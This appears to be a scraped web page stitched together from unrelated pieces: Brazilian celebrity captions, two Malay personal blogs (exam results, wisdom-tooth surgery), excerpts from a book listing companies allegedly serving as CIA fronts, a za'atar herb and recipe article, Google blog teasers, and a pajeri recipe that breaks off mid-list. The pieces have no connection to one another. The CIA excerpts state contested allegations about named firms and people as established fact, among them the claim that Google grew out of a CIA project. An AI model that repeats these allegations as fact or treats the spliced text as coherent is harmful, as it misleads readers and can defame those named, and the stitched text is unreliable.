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Dançarinas do Leva Noiz
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Gabrielly, sobrinha de Carla Perez

          Adriana Gramacho comemora aniversário        
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Adriana Gramacho reúne amigos em festa de aniversário
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Adriana exbiu sua boa forma durante a festa
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Nilzete e Sandrinho, vocalista da Na Varanda
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Adriana Gramacho e Zezinho
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A festa contou com a animação da banda feminina Samba Maria
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Katê, da banda Voa a Dois
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          Miss Brasil e Musa 2010        
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          Xanddy no Camarote Cerveja & Cia        

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Salam friends! huh ==" hari ni hari yg paling menjadi debaran utk kami budak2 A Level. Dh seminggu dh sbenarnye takowt. Today, 11th August 2011 akn jdi satu tarikh yg paling historical lah buat we all.. emm + today sbenarnye birthday mama nia! hurray.. Alhamdulillah... pagi td kiteorg smue masuk kelas awal2 lg.. Masuk2 je, teacher terus bace result masing2. I was like still taken aback lah kan.. Budak tesl requirementnya lain sikit berbanding budak accounting dn engineering.. Diorg mesti smue subject dpt A. Kiteorg tk... Kiteorg yg wajib dpt A hanya subject Maths.. Utk subject Literature dn Socio kami dibolehkn dpt at least B so that tk payah repeat! huhu.. Sbb subject kteorg triple susah utk score.. tu la psl.

My result Alhamdulillah, cukup2 makan la.. Tapi yg agak terkilan sbb kene repeat 1 subject; Sociology.. wlaupun org kate beruntung sbb nia tk payah repeat literature, tapi REPEAT tu masih satu perkataan berbisa.. Yer lah, bukn snang nk repeat. perlukan hard work and determination. Tk pe lah, jgn putus asa Tania~ Ramai yg dpt unexpected result.. as i am jgk la.. nia buknnye pndai sgt pn.. Nasib baik Maths dpt A. hoho, klau tk dpt jgk, tk tau lah nk kate ape.. Dh berguru ngn ramai sgt dh haa maths nie.. Terime kasih korang kawan2 (laki dn prmpuan) yg dh berhempas pulas ajar nia maths. insyaAllah byk pahala korg dpt... :)

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Who’s Who
What’s What

In the World of CIA Fronts, Partners, Proprietaries & Contractors




NEW BOOK:

The Almost Classified Guide to CIA Front Companies, Proprietaries & Contractors
By WAYNE MADSEN
ISBN: 978-1-365-11196-9


Cool Justice Editor's Note: Following are excerpts from author Madsen's introduction and the body of the work. Additional suggested reading: News story about Madsen's book via the Washington, D.C. based Justice Integrity Project [link at the bottom of this post].

EXCERPTS:

From the Introduction


One of the most pervasive uses of companies as intelligence partners was under the CIA’s Operation MOCKINGBIRD. During the Cold War, the CIA, often with the approval of corporate executives, infiltrated their agents to work as journalists in newspapers, radio and television networks, wire services, and magazines. The following pages in this book are rife with examples of this penetration of the Fourth Estate – all too many in the opinion of this journalist. The CIA admitted to at least 400 journalists on the agency’s payroll at the height of MOCKINGBIRD. The CIA traditionally understates its capabilities, especially when its covert activities become publicly known. Moreover, the end of the Cold War did not stop the practice of the CIA in infiltrating the media and slant news reports to its wishes.

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An insightful look behind the veils of secrecy into the CIA’s use of fronts, proprietaries, and partners calls into question the purpose of the CIA. Created by President Harry S Truman to serve as a central collector and repository of intelligence, the CIA became much more than that. A few weeks after the United States witnessed the assassination of President Kennedy in the middle of downtown Dallas, Truman penned an op-ed piece that appeared in several newspapers around the country. In it, Truman shared his regret for having created the CIA in 1947:

“I think it has become necessary to take another look at the purpose and operations of our Central Intelligence Agency—CIA . . . For some time I have been disturbed by the way CIA has been diverted from its original assignment. It has become an operational and at times a policy-making arm of the Government. This has led to trouble and may have compounded our difficulties in several explosive areas.

"I never had any thought that when I set up the CIA that it would be injected into peacetime cloak and dagger operations. Some of the complications and embarrassment I think we have experienced are in part attributable to the fact that this quiet intelligence arm of the President has been so removed from its intended role that it is being interpreted as a symbol of sinister and mysterious foreign intrigue.”

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The 21st century’s CIA’s partners are more likely to be found among high-tech companies marketing the latest and greatest mobile applications and data mining programs than among banks, law offices, and advertising agencies. However, in the post-World War II era, the CIA’s top and middle echelons were normally found operating through cover as typewriter-pecking journalists, traveling Madison Avenue admen, corporate lawyers, and chain-smoking oilmen. In the 1970s and 80s, CIA contractors and partners began showing up in the high-tech field, with database, local area networking, and on-line information retrieval systems attracting the most interest by Langley.

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As this book went to press, the smart phone game application Pokémon Go fad was sweeping the planet. Unbeknownst to many of the on-line game’s avid fan’s was the connection of the game’s developers to the CIA’s venture capital firm IN-Q-TEL. All users saw their geo-location and other smart phone data being swept up by a CIA partner firm.

SELECTED ENTRIES

Amazon, Inc. [CIA contractor]. Company provides cloud computing services for the CIA. Amazon’s CEO Jeff Bezos also owns The Washington Post.

American Historical Society. [CIA partner]. Many society officials were OSS/CIA officers.

American Press Institute. [CIA front]. Operating out of Columbia University, the institute’s director in the 1950s was a CIA officer.

AmeriCares. [CIA partner]. A non-profit organization that is often the “first in” at refugee situations. Founded by tycoon J. Peter Grace, a board chairman of the CIA front, the American Institute for Free Labor Development (AIFLD) and a trustee of another CIA front, the American Committee for Liberation from Bolshevism, AmeriCares was involved in funding the Nicaraguan contras. The group has also provided the CIA with recruiting opportunities at mass refugee sites, particularly in Latin America and Asia.

Bechtel Corporation. [CIA contractor]. Bechtel is a large construction company that has included former CIA director Richard Helms, CIA pseudonym “Fletcher M. Knight,” among its executive ranks. Bechtel was active in providing corporate cover for the OSS in the Middle East during World War II. Bechtel has been a consummate service company for various CIA operations, including support for the CIA-inspired coup against the Syrian government in 1949, the Iranian government of Prime Minister Mohamed Mossadeq in 1953, and President Sukarno of Indonesia in 1965. From the 1960s to the 1970s, Bechtel provided cover for CIA agents in Libya under both the regime of King Idris and his successor, Muammar Qaddafi. Sometimes called a “secret arm” of the CIA, Bechtel’s executives included those who would join President Reagan’s Cabinet, including Secretary of State George Schultz and Secretary of Defense Caspar Weinberger.

Before World War II, Steve Bechtel formed a military-industrial complex partnership with John McCone. McCone later became the chairman of the Atomic Energy Commission and later, director of the CIA. The CIA has used Bechtel to provide cover for non-official cover CIA operatives abroad.

Blackstone Investment Group. [CIA front]. With offices in Washington, DC and Moscow, arranged for the purchase of KGB documents following the collapse of the Soviet Union. Among the documents sought by the front company were any related to illegal CIA activities during the Cold War, including the 1963 assassination of President John F. Kennedy.

Bourbon and Beefsteak Bar and Restaurant. [CIA front]. Opened in 1967 in King’s Cross in Sydney, Australia. Served as a rendezvous point for CIA, Australian Security Intelligence Organization (ASIO), and organized crime figures. Its proprietor was Bernie Houghton, a CIA operative with links to Nugan Hand Bank, CIA weapons smuggler Edwin Wilson, and CIA clandestine services officers Theodore Shackley, Rafael Quintero, and Thomas Clines.

Center for Democracy. [CIA front]. Administered under the aegis of Boston University, the center maintained offices in Boston, Washington, DC, Guatemala City, and Strasbourg, France. Involved in CIA operations in eastern Europe, Central America, and Africa.

Colt Patent Firearms Company. [CIA partner]. Based in Hartford, Connecticut, provided corporate cover for CIA officers operating abroad.

Daddario & Burns. [CIA partner]. Headed by former OSS officer Emilio Daddario, a Democratic Representative from Connecticut, the Hartford-based law firm provided services to the CIA.

DC Comics. [CIA partner]. Worked with the International Military Information Group (IMIG), a joint CIA/Pentagon unit at the State Department, to disseminate propaganda comic books, featuring Superman, Batman, and Wonder Woman, in Serbo-Croatian and Albanian, to youth in the Balkans during the military conflicts in that region.

Disney Corporation. [CIA partner]. CIA agents who were adept at creating front companies and shell corporations in Florida, worked closely with Disney in preparation for the construction of Disney World near Orlando, Florida. OSS veteran “Wild Bill” Donovan and CIA shell company expert Paul Helliwell helped create two fake Florida cities, Bay Lake and Lake Buena Vista, as well as a number of shell corporations, to keep secret the plans for Disney World. This kept land prices low because real estate speculators were unaware of the prospective value of the land in a desolate area of central Florida.

Emory School of Medicine. [CIA partner]. Located in Atlanta, Georgia. Involved in the CIA’s MK-ULTRA behavioral modification project.

Enron Corporation [CIA partner]. Houston-based firm that was used by the CIA to provide commercial cover for its agents around the world. There were at least 20 CIA employees on Enron’s payroll. Andre Le Gallo, a former official of the CIA’s Operations Directorate, went to work as a corporate intelligence officer for Enron.

Fair Play for Cuba Committee (FPCC). [CIA front]. Officially established by American Trotskyists, the group was penetrated by CIA operatives. The FPCC New Orleans office was a CIA front that provided cover for the anti-Fidel Castro activities of Lee Harvey Oswald, Clay Shaw, and David Ferrie, among others. The New Orleans FPCC office was located at 544 Camp Street and shared the same building entrance with Guy Banister Associates, Inc., a private detective agency, the address for which was 531 Lafayette Street and around the corner from 544 Camp Street.

In December 1963, after the assassination of President John F. Kennedy, the FPCC ceased all U.S. operations.

General Electric Company. [CIA partner]. Based in Fairfield, Connecticut, provided corporate cover for CIA officers operating abroad.

General Foods Corporation. [CIA partner]. Advertising account at CIA’s Robert Mullen Company handled by an active CIA employee.

Google, Inc. [CIA partner]. Developed as a result of a research grant by the CIA and Pentagon to Stanford University’s Department of Computer Science. The CIA referred to the research as the “google project.”

Greenberg Traurig. [CIA partner]. Washington, DC “connected” law firm.

Guy Banister Associates, Inc. [CIA partner]. New Orleans private detective agency headed by former FBI agent Guy Banister. The detective agency coordinated the activities of various anti-Castro Cuban groups in New Orleans, including Banister’s own Anti-Communist League of the Caribbean, as well as the Cuban Revolutionary Council, the Cuban Democratic Revolutionary Front, Friends of Democratic Cuba, and the Crusade to Free Cuba Committee.

Banister and Associates shared office space with the CIA’s New Orleans front, the Fair Play for Cuba Committee, headed by Lee Harvey Oswald.

Hale and Dorr. [CIA partner]. Boston-based law firm that provided cover for CIA’s Independence and Brown Foundations.

Halliburton. [CIA contractor]. Based in Houston, it is the world’s largest oil service company. Recipient of a number of CIA sole-source contracts for services worldwide.

Harper and Row, Inc. [CIA partner]. Manuscripts submitted to the New York publisher that dealt with intelligence matters, particularly CIA operations, were turned over to the CIA for censoring edits before publication.

Hewlett Packard Corporation. [CIA partner]. Sold computers to Iraq for Saddam Hussein’s missile program with the knowledge and approval of the CIA.

Hill & Knowlton. [CIA partner]. Public relations firm that teamed with the CIA on a number of operations. Hill & Knowlton’s numerous offices abroad provided cover for CIA agents. One known Hill & Knowlton office that was a CIA front operation was in Kuala Lumpur.

Kerr-McGee. [CIA partner]. Provided corporate cover for CIA officers operating overseas.

Kissinger Associates, Inc. [CIA partner]. New York-based international consulting firm founded by former Secretary of State and National Security Adviser Henry Kissinger. Former National Security Adviser Brent Scowcroft is a co-owner. The firm provided support to the CIA-linked American Ditchley Foundation and the Bilderberg Group. Much of the 1982 seed money for Kissinger Associates was provided by Goldman Sachs.

Knight Foundation. [CIA partner]. Also known as the John S. and James L. Knight Foundation. Based in Miami, the foundation provides funding for various CIA-connected media operations in the United States and around the world.

Kroll Inc. [CIA partner]. Founded in 1972 by Jules Kroll, who had links to both U.S. and Israeli intelligence. Based in Manhattan. French domestic law enforcement believed Kroll’s Paris office was a CIA front. Kroll handled the security for the World Trade Center after the 1993 terrorist bombing and continued to be responsible for security up to, during, and after the September 11, 2001 terrorist attack. Kroll employed former FBI assistant director for counter-terrorism John O’Neill, who died in the collapse of the World Trade Center.

Lincoln Savings and Loan. [CIA partner]. Based in Irvine, California and headed by notorious swindler Charles Keating, Jr., involved in laundering funds for the Iran-contra scandal.

Lone Star Cement Corporation. [CIA partner]. Based in Stamford, Connecticut and linked to the Bush family, provided corporate cover for CIA officers operating abroad. Involved in the Iran-contra scandal.

Mary Carter Paint Company. [CIA front]. A money-laundering operation for the CIA. Involved in casinos in the Bahamas.

Monsanto. [CIA partner]. The firm contracted with former CIA official Cofer Black’s Total Intelligence Solutions (TIS), a subsidiary of the CIA-connected Blackwater USA, later Xe Services, to monitor animal rights groups, anti-genetically modified (GM) food activists, and other groups opposed to Monsanto’s agri-business operations worldwide.

National Enquirer. [CIA partner]. The tabloid’s founder, Generoso (Gene) Pope, Jr., worked for the CIA’s psychological warfare unit and the agency’s Italy branch in 1950. In 1952, Pope acquired The New York Enquirer broadsheet and transformed it into a tabloid, renaming it The National Enquirer. This transformation bore the imprimatur of the CIA’s Operation MOCKINGBIRD media influence program.

Newsweek. [CIA partner]. Magazine reporters and stringers fed information to the CIA. Newsweek’s stringers in southeastern Europe and the Far East were CIA agents. When Newsweek was bought by The Washington Post Company in 1961, cooperation between the magazine and the CIA increased. It was a participant in the CIA’s Operation MOCKINGBIRD media influence program. Much of the staff of Newsweek was absorbed into a new online publication, The Daily Beast, which continues to disseminate CIA-influenced articles. See Washington Post.

Nieman Foundation. [CIA partner]. Located at Harvard University, the foundation awarded Nieman Fellowships, some on behalf of the CIA, for foreign journalists to study at Harvard. The journalists were subjected to CIA recruitment efforts prior to their returning to their home countries.

Pamela Martin & Associates. [CIA partner], Escort firm run by Deborah Jeane Palfrey, the so-called “DC Madam.” During her 2008 trial for mail fraud, Palfrey attempted to invoke the Classified Information Procedures Act in order to discuss her relationship with the CIA. The U.S. Court refused Palfrey’s request and she was convicted and later said to have committed suicide before her sentencing hearing in Washington, DC. One of her clients was Randall Tobias, the head of the CIA-connected USAID. Another was Louisiana Republican senator David Vitter.

Paris Review. [CIA front]. Literary magazine edited by George Plimpton. Published works by Jack Kerouac and Samuel Beckett. The magazine’s co-founder, Peter Matthiessen, relied on his affiliation with the magazine as his CIA cover.

Quaker Oats Company. [CIA partner]. Worked with the CIA and Atomic Energy Commission to place trace amounts of radiation in breakfast cereal served to boys at the Fernald School for the mentally retarded in Waltham, Massachusetts.

Radio Corporation of America. [CIA partner]. Provided corporate cover for CIA officers operating abroad, particularly in Iran, Philippines, Japan, and West Germany. Provided technical assistance to CIA-financed clandestine and propaganda radio stations worldwide, including Radio Free Europe. RCA founder David Sarnoff was a major supporter of CIA operations, including propaganda dissemination around the world. RCA chairman and chief executive officer Thornton F. Bradshaw was active in the operations of the CIA-linked American Ditchley Foundation.

Reily Coffee Company. [CIA partner]. Also known as William B. Reily Coffee Company and based in New Orleans, this company employed Lee Harvey Oswald and a number of other U.S. government employees, many of whom were suspected CIA officers.

Robert M. Mullen Company. [CIA proprietary]. A Washington, DC public relations firm, it was used as a front for CIA activities. E. Howard Hunt, the CIA agent, worked for Robert Mullen when he was arrested in the break-in of the Democratic National Committee headquarters at the Watergate Hotel in Washington in 1972. The Senate Watergate Committee reported that “the Mullen and Company has maintained a relationship with the Central Intelligence Agency since its incorporation in 1959. It provided covers for agents in Europe (Stockholm), Latin America (Mexico City), and the Far East (Singapore) at the time of the Watergate break-in.”

Rockefeller Foundation. [CIA partner]. Used by the CIA to direct scholarships and grants to the Third World and Eastern Europe. Rockefeller Foundation money was funneled to the American Committee for a United Europe (ACUE), created in 1948. The chairman of ACUE was OSS chief William J. Donovan and the vice chairman was Allen Dulles. One of ACUE’s board members was Walter Bedell Smith, the first CIA director.

Summa Corporation. [CIA partner]. Owned by Howard Hughes, Summa is believed to have skimmed gambling profits from the Sands, Desert Inn, Frontier, Silver Slipper, Castaways, and Landmark casinos in Las Vegas and Harold’s Club in Reno for the CIA and the Mafia. Provided financial cover for the CIA’s Glomar Explorer project.

Teneo Intelligence. [CIA partner]. Branch of Teneo Holdings, which is headquartered in New York. Teneo Holdings’s intelligence branch includes former CIA officials. Teneo is closely linked to former President Bill Clinton and Hillary Clinton. Teneo Intelligence has offices in New York, London, Rome, Brussels, Dubai, Bogota, New Delhi, and Tokyo.

Texas Commerce Bank (TCB). [CIA partner]. Houston-based bank founded by the family of James Baker III. Texas Commerce Bank was used to provide commercial cover for CIA agents. After serving as vice president for Texas Commerce Bank in Caracas from 1977 to 1979, Jeb Bush joined his father’s presidential campaign in 1980. Serving with Bush on the campaign was Robert Gambino, the CIA deputy director of security who gave Bush his orientation brief at Langley in 1977.

Kenneth Lay, the chairman of Enron, which had its own links to the CIA, served on the board of Texas Commerce Bank. Texas Commerce Bank was acquired by Chemical Bank in 1987.

The bank provided major loans to Howard Hughes’s Summa Corporation. See Summa Corporation.

United Fruit Company [CIA partner]. Involved in 1954 CIA overthrow of Jacobo Arbenz government in Guatemala. Published the Latin America Report, a publication that was a CIA front used for clandestine activities. The CIA transferred weapons to United Fruit employees in Guatemala who were involved in undermining the Arbenz government. The joint CIA-United Fruit plan was code named OPERATION FORTUNE. Company provided an airfield in Guatemala for the CIA’s training of Cuban exiles for the Bay of Pigs invasion of Cuba.

U.S. Rubber Company. [CIA partner]. Headquartered in Naugatuck, Connecticut and later called Uniroyal, provided corporate cover to CIA officers operating abroad. Included those operating under the cover of the Dominion Rubber Company of Canada, a subsidiary of U.S. Rubber Company.

U.S. Youth Council (USYC). [CIA front]. Founded in 1945 and based in New York. Some 90 percent of its funds came from the CIA. USYC received funding from the Foundation for Youth and Student Affairs (FYSA), a CIA front. The USYC was composed of American Youth Hostels, Camp Fire Girls, 4-H, American Unitarian Youth, National Catholic Welfare Conference, National Students Assembly, YMCA and YWCA.

Wackenhut. [CIA contractor]. Wackenhut, a Palm Beach Gardens, Florida-based security firm, stood accused of providing the CIA with specialized services around the world, including Chile, Greece, and El Salvador. Its Venezuelan branch, Wackenhut Venezolana, C.A., was accused in 2002 of involvement in the CIA’s coup against President Hugo Chavez. William Casey served as Wackenhut’s outside counsel before becoming CIA director in 1981.

Wackenhut eventually merged into the global security firm G4S.

Washington Post. [CIA partner]. The Washington Post was part of the CIA’s Operation MOCKINGBIRD, the agency’s media influence project. Post publisher Phil Graham was a close friend and associate of MOCKINGBIRD chief Frank Wisner, Sr. and CIA director Allen Dulles. Wisner assisted Graham in acquiring The Washington Times-Herald and WTOP radio, creating a sizable CIA-influenced media operation in the nation’s capital.

W. R. Grace. [CIA partner]. Provided corporate cover to CIA officers operating abroad, particularly in Latin America. Provided donations to CIA front foundations.

  • News story about Madsen's book via The Justice Integrity Project



  •           Za'atar         
    Summer Za'atar on the border with Lebanon
    There is a little confusion around the name "Za'atar" and what exactly does it refer to: A condiment? A spice mix? An herb? And if so - which herb exactly - Hyssop? Thyme? Oregano? Marjoram?

    The truth is that za'atar is an Arabic word used interchangeably for a number of wild herbs that grow wild in the Mediterranean region, and all contain thymol and carvacrol. Hence their similar sharp and warm aroma, bitter taste and spicy, almost hot "bite". They also share similar medicinal properties, most of them used in folk medicine for most digestive ailments and respiratory complaints. The mixture known to us as "Za'atar" is in fact a misnomer. Za'atar is originally the name of the plant now classified as Origanum syriacum, but in Arabic it is loosely applied to several other related wild and not so wild herbs.

    Zaatar

    The name for the condiment is in fact "doukka" (pronounced often as "Do-ak" with a very throaty "K" that almost sounds like an "A" so in reality the word sounds more like "Do-ah"). In Arabic this means "to grind". Each region in the Arab world has its own "Doukka", which is either sprinkled on food, or more commonly covered in olive oil to which the traditional regional bread is dipped. For example - Egypt has a complex nut-based doukka with toasted hazelnuts or walnuts, to which toasted or untoasted spices such as cumin, coriander seeds, green peppercorns and sweet fennel have been added.

    In the Levant "doukka" happens to be made primarily of a mixture of thymol-containing herbs, with "The" Za'atar (Origanum syriacum) being the star of the show. Lesser amounts of other herbs, will be added - the most important of which are "Za'atar Farsi" (winter savory), Israeli Thyme (Corydothymus capitatus), Zuta זוטה לבנה ( Micromeria fruiticosa barbata), a delicate wild white mint known in English as White-Leaved Savory (which does not even belong to the savory genus, but to micromeria because of its tiny leaves). Common oregano (Origanum vulgare) makes a good addition, albeit cannot substitute for the real Za'atar or Syrian oregano if you actually know the real deal. Likewise, marjoram and thyme can also make a good addition but not be at the centre. Even though their profiles are similar - there are some nuances that will be lost if using only the garden variety oreganos and thymes and none of the wild stuff.

    Many other things can be added to the mix, the most important being sumac berries (Rhus coriaria) for their wonderful salty-sour flavour, and toasted sesame seeds for their pop-in-the-mouth nuttiness. But you'll also find spices sometimes, including more obscure ones such as butum (بطم) - toasted terebinth fruits (Pistachia palestina), which are really like tiny pistachios with the outer red peel intact. I've got a few of those drying right now, because I've never seen them in any market before and I'm very curious how they taste as a spice.

    The following are several authentic Za'atar recipes I've collected - and of course you are welcome to browse google's universe of shared recipes, but be cautious of a few things if you want to make an authentic za'atar:
    1) Use actual Origanum syriacum even if a generic "oregano" is called for
    2) Do not by any stretch of the imagination use "fresh" leaves. They must be dried first. And only then will you grind them up with the rest of the ingredients. This is a dried herb and spice mix. Not a fresh herb concoction.
    3) Usage of salt, although found in many recipes, seems very superfluous to me, unless you are not using sumac berries. These have a unique taste - equally salty and tangy. The whole point of using them is so you do not need to use salt. Likewise, using citric acid is a way to fake the sumac effect. Which I'm not quit sure why would anyone do that aside from laziness. Sumac berries are difficult to grind manually (or even in a coffee grinder) - but you can find ground sumac easily in many spice shops and markets.

    When shopping for pre-made spice mixes, or any ground spices for that matter, the main culprit is adulteration and using old raw material that are "dressed up" as authentic. It's hard to teach someone who've never tasted or smelled za'atar what to look for, but some things are a telling sign. For example: if you don't see the dark maroon red and still taste salt or tanginess, it is probably from salt and citrus acid, and not from the (missing) red sumac berries. Secondly, another visual sign - za'atar leaves are rather grey in colour when dried, so any other colour you see (olive green) is either food colouring or a combination of other types of "za'atar" herbs (i.e.: thyme, za'atar farsi, etc.). Best sign is by taste - if it taste like dust (and looks like dust) it's either too old or just a fake.

    I suggest you start with the most basic three ingredients, and then play with the proportions and adding other herbs and/or spices. You can even start with equal amount of za'atar leaves, sumac and sesame and adjust to taste.

    Safta Ada's Za'atar Recipe 
    This is my mom's handmade recipe that she would make from wild harvested za'atar (before it was illegal to pick any) and would even send it to Vancouver so I can enjoy a taste of home.
    1 cup dried za'atar leaves, coarsely crushed between your palms, or pounded with mortar and pestle to a finer powder
    4 Tbs ground sumac berries (I suggest you purchase them pre-ground, otherwise their seeds can break your teeth!)
    2 Tbs toasted brown sesame seeds, whole

    May Bsisu wrote an excellent book, The Arab Table, which I highly recommend, and it includes a unique Palestinian style of za'atar that includes caraway:
    10oz oregano (I assume she means za'atar)
    5oz thyme
    3 Tbs sumac, ground
    1/4 cup toasted sesame seeds
    2-1/2 Tbs coarse salt
    1/2 tsp allspice, ground
    1/4 tsp caraway seeds, ground 

    Easy Lebanese Recipes provides a "Traditional Rich Recipe" for za'atar that I'm compelled to try, with dried za'atar, roasted sesame, sumac, marjoram, coriander, cumin, cinnamon, fennel, aniseed and salt.

    Mamma's Lebanese Kitchen recipe contains thyme, marjoram, sumac, sesame, cumin, coriander, fennel, cinnamon and salt.

    How to consume za'atar?
    Use your za'atar mixed with olive oil as a dip for bread, on top of labneh (strained yoghurt cheese) or as a substitute for butter under any other soft or hard cheese, avocado, etc.
    It's also a nice addition to salads, and for baking fish or poultry. I also like to add it to chickpeas that I fry whole in olive oil, after they've been cooked and drained.

    Fresh za'atar leaves come in late winter and can be enjoyed all through spring, and can be fried in olive oil much like tender sage leaves and become this wonderful crispy topping for fresh bread, pasta, roasted vegetables, etc. Also, they can be used as they are in salads (May Bsisu has a recipe for fresh oregano salad in that book as well), with lots of onion and tomatoe. The Druze use it to season the dough or the fillings for various savoury pastries, such as sambusak (a flatbread that is folded in half to conceal a thin layer of highly seasoned stuffing, and baked in the tabun) and fatayer (little dough pockets filled with cheese), and the dried whole leaves can be used much like oregano in meat and pasta sauces, in soups, stews, breads, etc.

    Now, let's explore the Za'atar "group" of plants:

    Hyssop (Wild Oregano)

    Ezov (the Hebrew word for the Biblical Hyssop - not the European Hyssopus officials which is also a medicinal plant, and produces a rather toxic essential oil), which is now classified as an oregano, Origanum syriacum (formerly Majorana syriaca). Like many of the other aromatic plants from the Lamiaceae family, za'atar has a winter and spring foliage and a summer foliage, which is smaller in order to preserve water and survive the long arid season. I suspect the essential oils also aid with the survival of these plants in such harsh conditions - because whenever they are grown in regions where the water is more abundant (British Columbia, for example) - their flavour is largely lacking. What you see above is the luscious winter "look", which features soft and larger leaves, and their colour is much greener, and therefore more similar to the common oregano (Origanum vulgare).

    Satureja

    Za'atar Farsi (meaning Persian Za'atar), or as it is called in Hebrew צתרה ורודה - Tzatra Vruda (Pink Tzatra) which really is winter or mountain savory (Satureja montana). Its long needle-like leaves have a sharp, spicy taste. When we were growing up my mom would spice the egg for French Toast with them and make them literally savoury.

    Thymbra spicata צתרנית משובלת
    Mediterranean Thyme (Thymbra spicata), in Hebrew צתרנית משובלת Tzatranit Meshubelet is also called in Arabic "Za'atar farsi", and has a very similar leaf shape (only a bit longer, narrower and softer) and almost identical odour and aroma profile. It has flowers that look a bit more like chaffs of wheat (not unlike those of Lavandula dentata, and is even more rare to find than Satureja montana.

    Coridothymus capitatus
    Israeli Thyme (Corydothymus capitatis / Thymus capitatus / Thymbra capitata) or in Hebrew Koranit Mekurkefet קורנית מקורקפת is also known by many other names - Israeli oreganum (oil), Cretan thyme, Corido thyme, Headed savory, Thyme of the Ancient, Conehead thyme and most commonly - Spanish Oregano (even though it is not classified as "origanum"). This oil is what is often sold as "oregano oil", by the way. This is now a rare plant that in our area grows only along the rocky seashores of the North Coast leading to Lebanon. The leaves are tiny and sharp, like a miniature version of the Pink Tzatra, but they grow more dense and close together to form clusters around the tip of the branches. The branches are woody-looking almost like bonsai trees that crawl all over the rocks - and the flowers tiny and purplish-pink. The aroma is clean and maybe a little more simple than that of za'atar, but also the taste is much more sharp and phenolic.




              The unavoidable Googlephone is arriving: a Nexus that was lacking between Android and real life.        
    The widely rumored Gphone hit the news few days ago in the widely commented Android dogfood diet for the holidays post on Google Mobile blog: “We recently came up with the concept of a mobile lab, which is a device
              Chrome OS: from Personal Computer to Personal Computing. A matter of trust.        
    Google is gradually shifting the user ownership from hardware computers to computing sessions hosted on it's infrastructure. Are you ready for the shift?
              Why Google Chrome OS will succeed AKA The war is over        
    Is Microsoft OS dominance era at it's end? Is Big G dominating the ideas landscape? Starting from the announcement of Google Chrome OS let's try to recap the Microsoft vs Google challenge and to figure out what future we should expect.
              Cabut Gigi Bongsu di Hospital Putrajaya - Part 2        
    Salam korang... Panjang ye post ni, Wanie cuba recall dan cerita setiap yang terjadi.


    Sekarang jam 1.42am. Dalam previous post, Wanie ada citer nak undergo surgery after raya kan? Tak jadi... tapi di awalkan sebab Wanie dah tak tahan sakit menanggung derita angkara gigi bongsu tu. Jadinya, Selasa minggu lepas bersamaan 13hb June, Wanie selamat menjalani surgery bius penuh untuk buang 4 batang gigi bongsu.


    Few days sebelum hari pembedahan tu, hospital akan call tanya kesihatan kita macam mana. Yes, tak boleh sakit macam demam ke apa ke, surgery akan postpone kalau sakit. Alhamdulillah, Wanie sihat. So, start 12 tengah malam, Wanie dah berpuasa. Next morning tu, Wanie orang ketiga dan last yang register di Wad Harian dan seusai "check in", terus tukar pakai baju hospital warna hijau tu. 2 orang sebelum Wanie pun nak surgery gigi bongsu juga. Pakar bius datang one by one kat kitorang nak cucuk macam nak drip air tu, tapi macam biasalah, urat Wanie ni dah lah halus, tak jumpa pula. So, doktor skip dulu. Lega lah juga, sementara tunggu turn dipanggil, Wanie tido sekejap. Sorry ye, tak dapat ingat exact time sebab gelabah yakmatt! Hahahaha~~


    Dalam pukul 12 kot, turn Wanie sampai. Diorang minta Wanie tukar pakai baju warna putih dan penutup kepala tu dan berjalan ke dewan bedah. Kat situ, Wanie diminta berbaring dan pakar bius berjaya cucuk kali ni, tapi bukan belakang tangan macam biasa kita tengok, tapi ini dekat pelipat siku tu. Berdebar sangat... tak lama menunggu dan Wanie terus ditolak masuk ke dalam bilik bedah yang sejukkkkkkkk sampai menggigil (gigil takut pun rasanya ada jugak.. hahahaha). Tapi doktor situ friendly, dorang tahu kita sejuk, so dorang cover badan kita dengan ape tah, untuk kurangkan kesejukan katanya. Time tu mata dah terkebil-kebil tengok lampu operation tu. Takut oiii!! Ada seorang pakar bius tu, terhantuk kat lampu operation tu. Kelakar, tapi nak gelak pun macam takde mood dah. Kemudian, pakar bius cucuk ubat sikit dan pakaikan topeng sedut gas macam orang asma tuu.. doktor sempat tanya, "awak ok ke?" Time tu vision dah start blur blur, tapi nak "lawan kekuatan gas" tu.. hahahaha boleh lagi menjawap, "ok.. cuma pening sikit" dan lepas tu.... wassalammmm lah dikauuu!! Terus tak sedar apa......


    Tahu tahu je... tersedar nama dipanggil dan dorang bagitau operation selesai. Masih lagi mamai mamai, dan walaupun masih bersisa ubat bius, terasa sikittttt kesakitan pada tempat gigi bongsu yang dicabut sebelah kanan. Takpe.. sakit sikit. Masih boleh bertahan. Dan dorang terus bawa ke wad harian. Dapat lunch dari hospital - bubur sedap, aiskrim dan air milo. Wanie rest sekejap sejam dua, lepas tu pergi bilik air bertemankan adik yang datang dari Kedah nak jaga hakak-nan-diva ni. Hahahaha~ ok lah, takde terhuyung hayang time berjalan. Lepas tu, bagitau nurse kat wad harian nak discharge. Mulut tak boleh cakap, penuh gauze dengan darah.. setiap setengah jam kena tukar gauze baru. Then, terus ke Unit Hasil untuk pembayaran. Selepas tolak subsidi semua, kena bayar RM 203 sahaja. Jumlah asal, hampir RM 7 ribu lebih!!





    Balik rumah, terus makan painkiller dan tidur je. Makan pun soft soft dan sejuk. Geli jugak sebab darah nak kena telan, nurse tu kata. Jangan kumur or spit! Dan jangan makan or minum guna straw! Dannn.. jangan lupa beli ice pack kat farmasi, kena selalu tepekkan ice pack kat kedua belah pipi the same day lepas operation untuk avoid bengkak bommm ye. Jangan dah bengkak baru nak tepek ice pack tu, memang tak menjadi. Wanie jugak ada beli ubat surut bengkak di farmasi untuk membantu tak bagi bengkak sangat.


    Nanti Wanie cerita lagi. Ye... ada sambungan. Kena infection dan dry socket sikit kat bahagian yang dicabut sebelah kiri (gigi bongsu ini yang paling dekat dengan saraf). Dan lenguh jari menaip kat fon.. dan masih lagi berdenyut tempat surgery walaupun harini ada hari yang ke 6.


    Wish me speedy recovery!

              Resepi Pajeri Nenas Tanpa Santan Simple        



    Haaaa.. harini nak up post resepi pajeri nenas ala-ala kenduri. Wanie memang sukaaa sangat pajeri nenas, makan dengan nasi panas-panas, ada sambal belacan dengan ikan masin pulak kan, puhhhhh!! Terangkat beb! Memang confirm jadi ular sawa kekenyangan.


    Jom, nak share resepi pajeri nenas simple tanpa santan tapi letopppsss!! Resepi ni wanie dapat dari mama wanie sendiri... tak payah blend blend. Hehehehe...


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    Bahan-bahannya
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    2-3 keping nenas (wanie masak sikit je sebab cik abam dia makan kuah je, nenas tak makan.. hahahaha)
    2 biji bawang merah ☆
    3 ulas bawang putih ☆
